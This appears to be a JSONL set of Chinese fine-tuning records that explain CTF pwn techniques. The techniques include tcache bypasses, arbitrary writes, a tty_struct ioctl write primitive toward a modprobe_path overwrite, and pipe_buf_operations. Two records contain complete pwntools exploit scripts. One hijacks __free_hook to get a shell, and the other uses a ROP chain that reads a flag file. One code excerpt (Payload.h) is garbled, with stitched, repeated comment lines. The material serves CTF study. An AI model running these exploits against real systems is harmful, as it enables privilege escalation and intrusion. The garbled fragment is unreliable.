{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-bc541a7948c4b7358ddf", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「add」。\n资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### add\n\n```c\nputs(\"which one you choose?\");\nidx = read_int();\nif (idx == 1) {\n    printf(\"size:\");\n    size = read_int();\n    ptr = malloc(size);\n} else {\n    malloc(0x4f0);\n}\n```\n\n`idx == 1` 时会把新 chunk 地址保存到全局 `ptr`；`idx != 1` 时只申请一个 `0x4f0` chunk，但不会更新 `ptr`。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-8f56f5ceede2b567", "original_line": 141, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "split_group_key": "29400e37059a22e96fca7e93"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-bdb76645227aeef256c1", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「绕过tcache」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 绕过tcache\n\nglibc 2.26以后的 bins 存在 tcache bins\n\n让释放的`chunk`不进入tcache的方法\n\n需要绕过tcache一般是因为，`calloc`并不从tcache中取`chunk`，而是从fastbin中取`chunk`。\n\n另一个是因为高版本的glibc中对于tcache的double free检查严格，所以我们需要进行绕过。\n\n+ 释放不在 tcache 大小范围的`chunk`。\n\ntcache中最大`chunk`大小为0x410\n\n```\nadd_chunk(0, 0x410)\nadd_chunk(1, 0x10)\ndelete_chunk(0)\n```\n\n+ 释放相同大小的 chunk 将 tcache 填满\n\n```\n#申请7个相同大小的chunk用来填满tcache\nfor i in range(7):\n    add(i,0x68)\n\nadd(7, 0x68)\n\n#释放7个chunk填满tcache\nfor i in range(7):\n    dele(i)\n\ndele(7)\n```\n\n+ 如果题目限制了 free 次数那么需要通过 tcache dup 再 malloc 3 次将 counts 对应位置置为 -1 来绕过 tcache 。\n\n因为counts为-1，转为无符号数则大于等于7所以释放的chunk不会再进入tcache。\n\n```\nadd_chunk(0, 0x68)\n\ndelete_chunk(0)\ndelete_chunk(0)\nadd_chunk(0, 0x68)\nadd_chunk(0, 0x68)\nadd_chunk(0, 0x68)\n#进入fastbin的chunk\ndelete_chunk(0)\n```\n\n+ 控制 tcache_perthread_struct 从而控制 counts 实现绕过 tcache。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-3c820063fb27ef95", "original_line": 68, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-befa14220ee6b002ce4f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/Payload.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/Payload.h`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n\n训练用代码片段：\n```c\n/*\n * Copyright 2025 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/**\n * @file Payload.h\n * @brief Defines the Payload class for managing a contiguous block of memory.\n */\n#pragma once\n\n#include \n#include \n#include \n\n/**\n * @defgroup payloads_classes Payloads Classes\n * @brief Classes for generating and managing payloads.\n */\n\n/**\n * @ingroup payloads_classes\n * @class Payload\n * @brief Manages a dynamic, contiguous block of memory, tracking used sections.\n *\n * This class provides functionalities to allocate, reserve, release, and write\n * data to a buffer. It maintains a separate tracking mechanism to mark which\n * bytes in the buffer are considered \"used\" or \"reserved\". It also offers\n * methods to find empty contiguous blocks for new data.\n */\nclass Payload {\nprivate:\n    std::vector data_;      ///< @brief The underlying data buffer.\n    std::vector used_bytes_;   ///< @brief Tracks which bytes in `data_` are marked as used.\n    uint64_t used_size_;             ///< @brief The highest offset that has been marked as used.\n\npublic:\n    /**\n     * @brief Constructs a new Payload object with a specified size.\n     *\n     * Initializes the internal data buffer and a corresponding `used_bytes`\n     * tracking vector, marking all bytes as free initially.\n     *\n     * @param size The total size in bytes for the payload buffer.\n     */\n    Payload(int size);\n\n    /**\n     * @brief Copy constructor for the Payload class.\n     *\n     * Creates a new Payload object by deep-copying the data, used bytes map,\n     * and used size from another Payload instance.\n     *\n     * @param other The Payload object to copy from.\n     */\n    Payload(const Payload& other);\n\n    /**\n     * @brief Returns the total size of the internal data buffer.\n     * @return The total size of the buffer in bytes.\n     */\n    size_t Size();\n\n    /**\n     * @brief Gets a reference to the raw internal data vector.\n     * @warning Modifying this vector directly can lead to inconsistencies with `used_bytes_`.\n     * @return A reference to the underlying `std::vector` data buffer.\n     */\n    std::vector& GetData();\n\n    /**\n     * @brief Returns a copy of the data that is currently marked as \"used\".\n     * @return A new `std::vector` containing the data from the beginning\n     * of the buffer up to `used_size_`.\n     */\n    std::vector GetUsedData() const;\n\n    /**\n     * @brief Checks if a specified range of bytes is free (not marked as used).\n\n# ... 中间内容省略，保留关键利用片段 ...\n\n     * @param throws If true, an ExpKitError is thrown if the range is not free\n     * @return `true` if the entire range is free and within bounds, `false` otherwise.\n    bool CheckFree(uint64_t offset, uint64_t len, bool throws = false);\n     * This method checks if the specified range is free. If so, it marks the\n     * @throws ExpKitError if the range is not free or out of bounds.\n     * Marks the specified range of bytes as free. If the released block was\n     * @throws ExpKitError if the space is not free or out of bounds.\n     * @throws ExpKitError if the space is not free or out of bounds.\n     * @throws ExpKitError if the space is not free or out of bounds.\n     * @throws ExpKitError if the space is not free or out of bounds.\n     * @throws ExpKitError if the space is not free or out of bounds.\n     * @throws ExpKitError if the space is not free or out of bounds.\n     * Searches for a free block starting from `min_offset`, respecting optional alignment.\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-5d56d51e0874833a", "original_line": 299, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/Payload.h", "split": "train", "split_group_key": "4c9570d4e3e5be6845d8f894"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/Payload.h", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-bf897c28f16aa46995a9", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「AAW（RIP控制的简化版本）」。\n资料来源：Kernel/QWB2018-core/tty_struct.md；主题：tty_struct；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### AAW（RIP控制的简化版本）\n\n如果只需要在任意地址写入任意值（AAW），比完全控制RIP更简单。\n\n当调用`/dev/ptmx`的`ioctl()`时，你可以控制一些寄存器的值。具体来说，你可以将任意的4字节值作为`ioctl()`的第2个参数（`RBX, RCX, RSI`可控），将任意的8字节值作为第3个参数（`RDX, R8, R12`可控）。所以如果你找到`mov DWORD[rdx], rsi`这样的gadget，就可以在任意地址写入任意4字节值。通过重复操作，可以实现任意地址写入。如果禁用了`STATIC_USERMODEHELPER`，这足以通过覆盖`modprobe_path`来获取root权限（详见modprobe_path.md）。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-dc5abf3031b3ba63", "original_line": 403, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/QWB2018-core/tty_struct.md", "split": "train", "split_group_key": "ec3687b0dbb8efc5246abbb7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/QWB2018-core/tty_struct.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c12521a318cf2d47862c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「pwndbg」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### pwndbg\n\n```shell\nvmmap #查看进程的内存布局\nheap #查看所有堆\nbins #查看所有bin\nheap -v #查看堆块的详细信息\nvis #可视化堆\narena #显示arena的详细信息\nx/32gx &main_arena #查看main_arena上的值\ncall malloc_stats() #打印malloc分配的内存\np malloc(0x100) #打印分配的堆块\nheap\nheap -v\nheapbase #查看堆的起始地址\nheapinfo #显示堆的信息。打印当前线程arena的堆信息\nbins #查看bins\nfastbins\nsmallbins\nunsortedbin\ntcachebins\nparseheap #显示堆结构\nvis #解析并打印堆布局\ninfo threads #多线程调试\ntracemalloc #提示所有操作堆的地方\narena #\narenas #显示所有arena的基本信息\narenainfo #好看的显示所有arena的信息\np &__free_hook #查看某个函数的真实地址\np *__free_hook #查看某个函数的指向\nmagic #查看常见利用点\ntracemalloc on #启用内存分配跟踪，记录 malloc/free 调用。\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-6f59f0014245e8fb", "original_line": 86, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c28c24bf6d5bb80efad0", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「函数表：pipe_buf_operations」。\n资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 函数表：pipe_buf_operations\n\n```c\nstruct pipe_buf_operations {\n    int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);\n    void (*release)(struct pipe_inode_info *, struct pipe_buffer *);\n    bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);\n    bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);\n};\n```\n\n重点关注 `release` 指针。关闭管道两端后，管道会被释放，`pipe_buffer` 也会被释放，调用路径为：\n\n```text\nfree_pipe_info -> pipe_buf_release\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-9917b35f36636125", "original_line": 343, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "split_group_key": "965eb079ac1d2a6539e8dac3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c2ada0fff29183c395a7", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/整数溢出/cpu.s` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/整数溢出/cpu.s`\n\n分类：misc_vuln\n\n语言：asm\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n训练用代码片段：\n```asm\nsection .data\n    msg db \"Learn the assembly instructions\", 0\n\nsection .bss\n    exec_mem resb 4096\n\nsection .text\n    global _start\n\nextern setbuf\nextern printf\nextern read\nextern system\n\n_start:\n    ; 初始化\n    ; 设置 stdin、stdout 和 stderr 为无缓冲模式\n    mov rdi, 0      ; stdin\n    call setbuf\n    mov rdi, 1      ; stdout\n    call setbuf\n    mov rdi, 2      ; stderr\n    call setbuf\n\n    ; 打印提示信息\n    mov rdi, msg\n    call printf\n\n    ; 读取输入到 exec_mem\n    mov rdi, 0      ; stdin\n    mov rsi, exec_mem\n    mov rdx, 2      ; 读取 2 字节\n    call read\n\n    ; 调用 exec_mem 中的函数\n    mov rdi, exec_mem\n    call rdi\n\n    ; 比较 a 和 b\n    mov rdi, 20     ; a\n    mov rsi, 30     ; b\n    cmp rdi, rsi\n    jl less_than\n\n    ; 调用 system(\"/bin/sh\")\n    mov rdi, 0      ; \"/bin/sh\" 的地址\n    call system\n\nless_than:\n    ; 打印 \"Learn the assembly instructions\"\n    mov rdi, msg\n    call printf\n\n    ; 退出程序\n    mov rax, 60     ; sys_exit\n    xor rdi, rdi    ; 返回码 0\n    syscall\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-3b2086847cd75c74", "original_line": 441, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/cpu.s", "split": "train", "split_group_key": "0ffb24dddd58c351998ab249"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/cpu.s", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c398c80a1320f13250e6", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「2. 一次任意地址写」。\n资料来源：Heap/2024ylb-ezheap/writeup.md；主题：2024ylb-ezheap；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 2. 一次任意地址写\n\n`edit_chunk` 不是真正编辑某个 chunk，而是读取 8 字节地址，然后执行：\n\n```c\n*(uint32_t *)addr = 0xa2c2a;\n```\n\n这给了我们一次 4 字节任意地址写。glibc 2.31 中，默认 `mp_.tcache_bins = 64`，所以 0x510 这种大 chunk 不会进入 tcache。利用这次写把 `mp_.tcache_bins` 改大：\n\n```python\nmp_ = libc_base + 0x1EC280 + 0x50\nedit(p64(mp_))\n```\n\n`mp_ + 0x50` 对应 `tcache_bins` 字段。写入大值后，0x510 chunk 的 tcache index 也会被认为合法。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-c02d3822a240a84a", "original_line": 54, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/2024ylb-ezheap/writeup.md", "split": "train", "split_group_key": "e6e49a34b13c4025336aabf4"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/2024ylb-ezheap/writeup.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c45b4237a1c3d95dfa06", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「2. 链表删除造成堆布局与泄露机会」。\n资料来源：IO-FILE/2025hgame hit list/WP.md；主题：2025 HGame - Hit list Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 2. 链表删除造成堆布局与泄露机会\n\ndelete 按 `index` 查找节点并释放：\n\n```c\nfree(node->info);\nfree(node);\n```\n\n删除后会把后续节点的 `index--`，因此多次 `delete(0)` 可以持续删除当前链表头。配合 add/delete 的顺序，可以让 tcache、unsorted bin、节点块和内容块形成可控复用，从而利用 `show` 泄露残留元数据。\n\n---", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-c3299b163ed800f4", "original_line": 174, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "split_group_key": "510c80802c5c6c353196ef42"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c4c51dbb65621d34ed76", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/tcache attack/house of io/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/tcache attack/house of io/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add_chunk`\n- `delete_chunk`\n- `edit_chunk`\n- `show_chunk`\n\n利用主题关键词：\n- heap/tcache\n\n关键常量/偏移样例：\n`0x240`, `0x410`, `0xFFF`, `0x3afca0`\n\n训练用代码片段：\n```python\n#!/bin/python3\nfrom pwn import *\n\nelf = ELF(\"./pwn\")\nlibc = ELF(\"./libc.so.6\")\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\np = process([elf.path])\n\n\ndef add_chunk(index, size):\n    p.sendafter(\"choice:\", \"1\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"size:\", str(size))\n\n\ndef delete_chunk(index):\n    p.sendafter(\"choice:\", \"2\")\n    p.sendafter(\"index:\", str(index))\n\n\ndef edit_chunk(index, content):\n    p.sendafter(\"choice:\", \"3\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"length:\", str(len(content)))\n    p.sendafter(\"content:\", content)\n\n\ndef show_chunk(index):\n    p.sendafter(\"choice:\", \"4\")\n    p.sendafter(\"index:\", str(index))\n\n\nadd_chunk(0, 0x410)\nadd_chunk(1, 0x10)\ndelete_chunk(0)\nshow_chunk(0)\nlibc.address = u64(p.recvuntil(b'\\x7F')[-6:].ljust(8, b'\\x00')) - 0x3afca0\ninfo(\"libc base: \" + hex(libc.address))\n\nadd_chunk(0, 0x240)\ndelete_chunk(0)\ndelete_chunk(0)\nadd_chunk(0, 0x240)\nshow_chunk(0)\n\nheap_base = u64(p.recvuntil((b'\\x55', b'\\x56'))[-6:].ljust(8, b'\\x00')) & ~0xFFF\ninfo(\"heap base: \" + hex(heap_base))\n\nedit_chunk(0, p64(heap_base + 0x10))\n\nadd_chunk(0, 0x240)\nadd_chunk(0, 0x240)\n\ndelete_chunk(0)\nadd_chunk(0, 0x240)\nedit_chunk(0, p8(7) * 64 + p64(libc.sym['__free_hook']) * 64)\n\nadd_chunk(0, 0x50)\nedit_chunk(0, p64(libc.sym['system']))\n\nedit_chunk(1, b\"/bin/sh\\x00\")\ndelete_chunk(1)\n\n# gdb.attach(p)\n\np.interactive()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-56c4f832ced5accc", "original_line": 29, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/house of io/exp.py", "split": "train", "split_group_key": "09c39758bca8fe86201579eb"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/house of io/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c4d020227b54ce730947", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/tcache attack/Hitcon-CTF2019-one_punch_man/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/tcache attack/Hitcon-CTF2019-one_punch_man/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `Add`\n- `BackDoor`\n- `Delete`\n- `Edit`\n- `Show`\n- `exp`\n\n利用主题关键词：\n- heap/tcache\n- uaf/double-free\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x101`, `0x120`, `0x217`, `0x260`, `0x300`, `0x400`, `0x850`, `0x44b0`, `0x45216`, `0x4526a`, `0xf02a4`, `0xf1147`, `0x3c4b20`, `0x71e000`, `0x902ca0`, `0x555555559000`\n\n训练用代码片段：\n```python\n#coding=utf-8\nfrom pwn import *\ncontext.update(arch='amd64',os='linux',log_level='DEBUG')\ncontext.terminal = ['tmux','split','-h']\ndebug = 1\nelf = ELF('./one_punch')\nlibc_offset = 0x3c4b20\ngadgets = [0x45216,0x4526a,0xf02a4,0xf1147]\nif debug:\n    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n    p = process('./one_punch')\n\ndef Add(idx,name):\n    p.recvuntil('> ')\n    p.sendline('1')\n    p.recvuntil(\"idx: \")\n    p.sendline(str(idx))\n    p.recvuntil(\"hero name: \")\n    p.send(name)\n\n\ndef Edit(idx,name):\n    p.recvuntil('> ')\n    p.sendline('2')\n    p.recvuntil(\"idx: \")\n    p.sendline(str(idx))\n    p.recvuntil(\"hero name: \")\n    p.send(name)\n\ndef Show(idx):\n    p.recvuntil('> ')\n    p.sendline('3')\n    p.recvuntil(\"idx: \")\n    p.sendline(str(idx))\n\ndef Delete(idx):\n    p.recvuntil('> ')\n    p.sendline('4')\n    p.recvuntil(\"idx: \")\n    p.sendline(str(idx))\n\ndef BackDoor(buf):\n    p.recvuntil('> ')\n    p.sendline('50056')\n    sleep(0.1)\n    p.send(buf)\n\ndef exp():\n    #leak heap\n    for i in range(7):\n        Add(0,'a'*0x120)\n        Delete(0)\n    Show(0)\n    p.recvuntil(\"hero name: \")\n    heap_base = u64(p.recvline().strip('\\n').ljust(8,'\\x00')) - 0x850\n    log.success(\"[+]heap base => \"+ hex(heap_base))\n    #leak libc\n    Add(0,'a'*0x120)\n    Add(1,'a'*0x400)\n    Delete(0)\n    Show(0)\n    p.recvuntil(\"hero name: \")\n    libc_base = u64(p.recvline().strip('\\n').ljust(8,'\\x00')) - (0x902ca0-0x71e000)\n    log.success(\"[+]libc base => \" + hex(libc_base))\n    #\n    for i in range(6):\n        Add(0,'a'*0xf0)\n        Delete(0)\n    for i in range(7):\n        Add(0,'a'*0x400)\n        Delete(0)\n    Add(0,'a'*0x400)\n    Add(1,'a'*0x400)\n    Add(1,'a'*0x400)\n    Add(2,'a'*0x400)\n    Delete(0)#UAF\n    Add(2,'a'*0x300)\n    Add(2,'a'*0x300)\n    #agagin\n    Delete(1)#UAF\n    Add(2,'a'*0x300)\n    Add(2,'a'*0x300)\n    Edit(2,'./flag'.ljust(8,'\\x00'))\n    Edit(1,'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+(0x000055555555c460-0x555555559000))+p64(heap_base+0x1f))\n\n    #trigger\n    Add(0,'a'*0x217)\n\n    Delete(0)\n    Edit(0,p64(libc_base+libc.sym['__malloc_hook']))\n    #gdb.attach(p,'b calloc')\n    Add(0,'a'*0xf0)\n\n    BackDoor('a')\n    #mov eax, esi ; add rsp, 0x48 ; ret\n    #magic_gadget = libc_base + libc.sym['setcontext']+53\n    # add rsp, 0x48 ; ret\n    magic_gadget = libc_base + 0x000000000008cfd6\n    payload = p64(magic_gadget)\n\n    BackDoor(payload)\n\n    p_rdi = libc_base + 0x0000000000026542\n    p_rsi = libc_base + 0x0000000000026f9e\n    p_rdx = libc_base + 0x000000000012bda6\n    p_rax = libc_base + 0x0000000000047cf8\n    syscall = libc_base + 0x00000000000cf6c5\n    rop_heap = heap_base + 0x44b0\n\n    rops = p64(p_rdi)+p64(rop_heap)\n    rops += p64(p_rsi)+p64(0)\n    rops += p64(p_rdx)+p64(0)\n    rops += p64(p_rax)+p64(2)\n    rops += p64(syscall)\n    #rops += p64(libc.sym['open'])\n    #read\n    rops += p64(p_rdi)+p64(3)\n    rops += p64(p_rsi)+p64(heap_base+0x260)\n    rops += p64(p_rdx)+p64(0x70)\n    rops += p64(p_rax)+p64(0)\n    rops += p64(syscall)\n    #rops += p64(libc.sym['read'])\n    #write\n    rops += p64(p_rdi)+p64(1)\n    rops += p64(p_rsi)+p64(heap_base+0x260)\n    rops += p64(p_rdx)+p64(0x70)\n    rops += p64(p_rax)+p64(1)\n    rops += p64(syscall)\n    Add(0,rops)\n    p.interactive('$ xmzyshypnc')\n\nexp()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-code-472faa9cb8c1b04b", "original_line": 24, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/Hitcon-CTF2019-one_punch_man/exp.py", "split": "train", "split_group_key": "3e336ac1edf486a218da4f5e"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/Hitcon-CTF2019-one_punch_man/exp.py", "split": "train", "type": "ctf_lora_sft"}
